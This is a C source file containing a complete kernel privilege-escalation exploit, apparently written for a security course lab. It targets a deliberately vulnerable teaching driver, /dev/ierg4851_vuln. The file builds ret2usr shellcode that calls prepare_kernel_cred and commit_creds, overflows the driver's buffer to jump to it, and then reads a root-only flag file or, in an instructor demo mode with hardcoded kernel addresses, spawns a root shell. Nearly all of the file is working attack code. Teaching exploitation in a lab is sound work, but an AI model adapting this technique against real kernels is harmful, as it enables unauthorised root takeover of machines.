#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

static uintptr_t prepare_kernel_cred_addr;
static uintptr_t commit_creds_addr;
static uintptr_t user_return;
static uintptr_t user_stack;
static uintptr_t user_eflags;
static uintptr_t user_cs;
static uintptr_t user_ss;
static int instructor_demo;

static void read_user_state(void)
{
    __asm__ volatile(
        "movl %%esp, %0\n"
        "pushfl\n"
        "popl %1\n"
        "xorl %%eax, %%eax\n"
        "movw %%cs, %%ax\n"
        "movl %%eax, %2\n"
        "xorl %%eax, %%eax\n"
        "movw %%ss, %%ax\n"
        "movl %%eax, %3\n"
        : "=m"(user_stack), "=m"(user_eflags), "=m"(user_cs), "=m"(user_ss)
        :
        : "eax", "memory");
}

static void got_root(void)
{
    char buffer[128];
    int fd;
    ssize_t length;

    if (geteuid() != 0) {
        dprintf(2, "ret2usr returned without root: euid=%d\n", geteuid());
        _exit(1);
    }
    if (instructor_demo) {
        dprintf(STDOUT_FILENO,
                "[demo] privilege escalation succeeded; entering guest root shell\n");
        execl("/bin/sh", "sh", (char *)NULL);
        perror("execl /bin/sh");
        _exit(2);
    }
    fd = open("/root/IERG4851_KERNEL_RET2USR_FLAG", O_RDONLY);
    if (fd < 0)
        _exit(2);
    length = read(fd, buffer, sizeof(buffer) - 1);
    if (length > 0)
        write(STDOUT_FILENO, buffer, (size_t)length);
    _exit(0);
}

static void build_ret2usr(uint8_t *code)
{
    size_t at = 0;

    /*
     * This blob is entered while CPL=0 with the kernel stack still active.
     * It uses the 32-bit cdecl ABI, changes current credentials, then irets
     * to got_root() in user mode.
     */
    /* Linux x86 uses regparm=3: the first argument is in EAX. */
    code[at++] = 0x31; code[at++] = 0xc0;                  /* xor eax,eax */
    code[at++] = 0xba; memcpy(code + at, &prepare_kernel_cred_addr, 4); at += 4;
    code[at++] = 0xff; code[at++] = 0xd2;                  /* call *edx */
    code[at++] = 0xba; memcpy(code + at, &commit_creds_addr, 4); at += 4;
    code[at++] = 0xff; code[at++] = 0xd2;                  /* commit_creds(cred) */
    code[at++] = 0x68; memcpy(code + at, &user_ss, 4); at += 4;
    code[at++] = 0x68; memcpy(code + at, &user_stack, 4); at += 4;
    code[at++] = 0x68; memcpy(code + at, &user_eflags, 4); at += 4;
    code[at++] = 0x68; memcpy(code + at, &user_cs, 4); at += 4;
    code[at++] = 0x68; memcpy(code + at, &user_return, 4); at += 4;
    code[at++] = 0xcf;                                     /* iret */
}

int main(int argc, char **argv)
{
    uintptr_t offset;
    uint8_t *code;
    uint8_t payload[256];
    int fd;

    if (argc == 1) {
        /*
         * Instructor-only classroom path. These values belong to the
         * disposable teaching guest and are intentionally not published in
         * the student instructions.
         */
        offset = 48;
        instructor_demo = 1;
        prepare_kernel_cred_addr = 0xc1089a90;
        commit_creds_addr = 0xc1089850;
        dprintf(STDOUT_FILENO,
                "[demo] offset=%#lx prepare_kernel_cred=%#lx commit_creds=%#lx\n",
                (unsigned long)offset,
                (unsigned long)prepare_kernel_cred_addr,
                (unsigned long)commit_creds_addr);
    } else if (argc != 4) {
        fprintf(stderr, "usage: %s OFFSET PREPARE_KERNEL_CRED COMMIT_CREDS\n", argv[0]);
        return 2;
    } else {
        offset = strtoul(argv[1], NULL, 0);
        prepare_kernel_cred_addr = strtoul(argv[2], NULL, 0);
        commit_creds_addr = strtoul(argv[3], NULL, 0);
    }
    if (offset + 4 > sizeof(payload)) {
        fprintf(stderr, "invalid 32-bit parameter\n");
        return 2;
    }

    read_user_state();
    user_return = (uintptr_t)got_root;
    code = mmap((void *)0x0b000000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    if (code == MAP_FAILED) {
        perror("mmap");
        return 1;
    }
    build_ret2usr(code);
    memset(payload, 'A', sizeof(payload));
    memcpy(payload + offset, &code, 4);

    fd = open("/dev/ierg4851_vuln", O_WRONLY);
    if (fd < 0) {
        perror("open /dev/ierg4851_vuln");
        return 1;
    }
    if (write(fd, payload, offset + 4) < 0) {
        perror("write");
        return 1;
    }
    return 3;
}
